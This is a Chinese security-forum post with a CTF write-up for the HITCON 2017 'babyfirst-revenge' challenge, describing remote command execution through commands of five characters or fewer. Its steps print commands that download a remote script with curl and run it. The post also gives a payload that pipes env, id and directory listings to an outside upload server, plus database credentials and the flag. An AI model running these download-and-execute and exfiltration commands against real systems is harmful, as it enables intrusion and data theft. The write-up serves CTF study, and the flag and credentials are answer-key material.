首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
WEB安全
发新帖
0
0
[原创]hitcon-2017-babyfirst-revenge (看雪ctf版)writeup
发表于: 2026-8-8 01:58
3282
[原创]hitcon-2017-babyfirst-revenge (看雪ctf版)writeup
the_hs
1
2026-8-8 01:58
3282
我愿称之为“第三方 WP 都只差最后半步”的一题。 原题本身并不新,核心还是利用长度不超过 5 的命令,通过文件名、续行符和 `ls -t` 拼出长命令。 但是看雪环境有几个额外问题: - `REMOTE_ADDR` 是网关内网 IP,不是攻击者公网 IP; - 公网 IP 哈希出的 sandbox 路径没有用; - 部分第三方 WP 里的命令实际上超过长度限制; - 部分 WP 依赖自己持有短域名; - `curl ... | sh` 在这台靶机上实测不稳定; - 直接把小数点 IP 分段成文件名还容易踩隐藏文件问题。 --- Step.0 准备一个 80 端口可用的服务器 需要一台靶机能够访问的 HTTP 服务器。 我这里使用 FRP,把本地 8000 端口映射到公网服务器的 80 端口: ```toml serverAddr = "11.4.5.14" serverPort = 7000 auth.token = "********" [[proxies]] name = "ctf_http_80" type = "tcp" localIP = "127.0.0.1" localPort = 8000 remotePort = 80 ``` 本地 HTTP 服务需要实现两个功能: 1. 返回动态修改的 `index.html`; 2. 接收靶机通过 `curl --data-binary` 回传的数据。 建议记录 User-Agent。公网 80 端口会有大量扫描日志,靶机的请求大概是: ```text GET / from ... UA='curl/7.47.0' ``` --- Step.1 为什么不能直接照抄第三方 WP 1. `ls>>a` 写不进去 不少 WP 使用下面的第一阶段: ```text >-t\ >\>q >l\ >s\ \ ls>a ls>>a ``` 问题是这台机器>>和|都莫名其妙写不进去,可能是ngx或者什么拦截了... --- 2. `REMOTE_ADDR` 不是你的公网 IP 原题 sandbox 是: ```php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); ``` 但是看雪靶机前面有网关反代,PHP 看到的 `REMOTE_ADDR` 是网关内网地址,而不是攻击者出口 IP。 所以第三方 WP 中这种操作会失败: ```text md5("orange" + 自己的公网IP) ``` 然后访问: ```text /sandbox/<md5>/xxx ``` 算出来的目录根本不是当前 sandbox。 因此最好直接把命令结果通过 HTTP POST 回传,不要依赖猜 sandbox 路径。 --- 3. 短域名 WP 不能直接替换成 IP 有第三方 WP 使用类似下面的技巧: ```text >echo >w\ *>>.a rm w* >ge\ *>>.a ... ``` 它的前提是攻击者持有一个足够短的字母域名,例如: ```text zxzz.tk ``` 因为 `echo` 在字典序上排在 `w`、`ge`、`zx` 等文件名前面,所以: ```sh *>>.a ``` 展开后才会变成: ```sh echo w\ >> .a ``` 如果直接把域名替换成数字 IP,数字文件名会排在 `echo` 前面: ```text 11\ .4.\ 5.1\ ... ``` 此时 `*` 展开后的第一个单词就不再是 `echo`,而是数字文件名,命令直接失败。 如果把点号放在文件名开头,例如: ```text >.14 >.5\ ``` 又会创建隐藏文件,默认 `ls` 根本不会把它们列出来。 --- 4. `curl ... | sh` 在这台靶机上不稳定 理论上有多种 WP 使用: ```sh curl IP | sh ``` 我也构造出了对应命令,而且服务器确实收到了靶机的请求: ```text GET / from ... UA='curl/7.47.0' ``` 说明 `curl` 成功了。 但是返回的 payload 没有继续执行。使用: ```sh sleep 10 ``` 做测试,也没有观察到对应延时。 所以不要在这个环境里赌管道,直接改成: ```sh curl IP -o x sh x ``` 落盘以后再执行,稳定很多。 --- Step.2 第一阶段:构造 `ls -t>g` 这里使用 Orange 官方 exploit 的第一阶段。 按顺序请求: ```text >ls\ ls>_ >\ \ >-t\ >\>g ls>>_ ``` 每个命令长度都小于等于 5。 这个阶段会利用特殊文件名和续行符,把文件 `_` 拼成一个脚本,其中有效命令是: ```sh ls -t>g ``` 之后执行: ```text sh _ ``` 就会按照文件修改时间倒序,把当前目录中的文件名写入 `g`。 注意 `ls -t` 也会把 `_`、`g` 自身以及第一阶段的残留文件列进去,但这些多余行会因续行符拼接成无效命令而报错,不影响有效命令的执行。 --- Step.3 第二阶段:拼出下载命令 假设公网服务器是: ```text 11.4.5.14 ``` 我们要构造: ```sh curl 11.4.5.14 -o x ``` 把它按文件名和续行符拆成: ```text cu\ rl\ 1\ 1.\ 4.\ 5.\ 14\ -\ o\ x ``` 由于 `ls -t` 是新文件在前,所以实际创建文件时要反过来,从最后一段开始创建: ```text >\ x >o\ >\ -\ >14\ >5.\ >4.\ >1.\ >\ 1\ >rl\ >cu\ ``` 然后执行: ```text sh _ sh g sh x ``` 含义分别是: 1. `sh _`:执行第一阶段生成的脚本,得到文件 `g`; 2. `sh g`:执行 `curl 11.4.5.14 -o x`,下载远程 payload; 3. `sh x`:执行下载下来的脚本。 服务器上应该能看到: ```text GET / from ... UA='curl/7.47.0' ``` 这一步成功以后,就获得了稳定的任意命令执行能力。 --- Step.4 回传命令结果 在公网服务器的 `index.html` 中放: ```sh #!/bin/sh { echo '=== pwd/id/env ===' pwd id env echo '=== root ===' ls -la / echo '=== readme ===' cat /README.txt 2>/dev/null echo '=== mysql ===' command -v mysql || true } 2>&1 | curl --data-binary @- http://11.4.5.14/upload ``` 重新执行: ```text sh _ sh g sh x ``` 服务器会收到: ```text POST /upload from ... UA='curl/7.47.0' ``` 回显中的关键内容是: ```text /www/sandbox/3a5463e2cd4fa054a8bc44da1b1bbcaa uid=33(www-data) gid=33(www-data) ``` 以及根目录下的: ```text /README.txt ``` 内容为: ```text Flag is in the MySQL database fl4444g / SugZXUtgeJ52_Bvr ``` --- Step.5 查询 MySQL 把远程 `index.html` 改成: ```sh #!/bin/sh { echo '=== databases ===' mysql -ufl4444g -pSugZXUtgeJ52_Bvr \ -e 'show databases;' echo '=== flag ===' mysql -ufl4444g -pSugZXUtgeJ52_Bvr \ -e 'SELECT * FROM fl4gdb.this_is_the_fl4g;' } 2>&1 | curl --data-binary @- http://11.4.5.14/upload ``` 再次执行: ```text sh _ sh g sh x ``` 数据库返回: ```text Database information_schema fl4gdb mysql performance_schema sys ``` 最终查询结果: ```text secret flag{43a0eac7-3bb6-471a-864d-2a75b894c8b9} ``` --- Flag ```text flag{43a0eac7-3bb6-471a-864d-2a75b894c8b9} ``` --- 总结 这题真正可用的路线是: ```text 文件名 + 续行符 ↓ 构造 ls -t>g ↓ 用 ls -t 拼出 curl IP -o x ↓ 下载 payload 到 x ↓ sh x ↓ curl POST 回显 ↓ README 获取 MySQL 凭据 ↓ 查询 fl4gdb.this_is_the_fl4g ``` 第三方 WP 的主要问题不是思路错误,而是看雪环境把它们依赖的条件拆掉了: - `ls>>a` 中的 `>>` 实测写不进去(可能被拦截); - sandbox 哈希不能用自己的公网 IP 计算; - 短域名技巧不能直接替换成数字 IP; - 点号开头的文件名会被 `ls` 隐藏; - `curl | sh` 在当前环境中不稳定。 哎哎喜欢加难度....
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
2026-8-8 12:01 被the_hs编辑 ,原因: ip忘记脱敏了
#文件
#审计
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
mb_spjlagub
雪 币:
24
活跃值:
(40)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
6
粉丝
0
关注
私信
mb_spjlagub
2
楼
解题和分析思路太硬核了!我手头有一个 Web 系统的安全审计与接口协议分析兼职项目(按阶段/节点验证付费,远程兼职,待遇优厚),诚意邀请合作。大佬如果有兴趣,邮件联系374634139@qq.com
2026-8-23 14:04
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
the_hs
1
18
发帖
22
回帖
90
RANK
关注
私信
他的文章
[原创]wp:第八题:亥子合辰·塔影迷楼
22
[原创] wp: 第七题:戌时·暗能潜流
51
[原创]wp: 第二题:巳时·绿光幽语
32
[讨论]被kimi k3吓哭
345
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部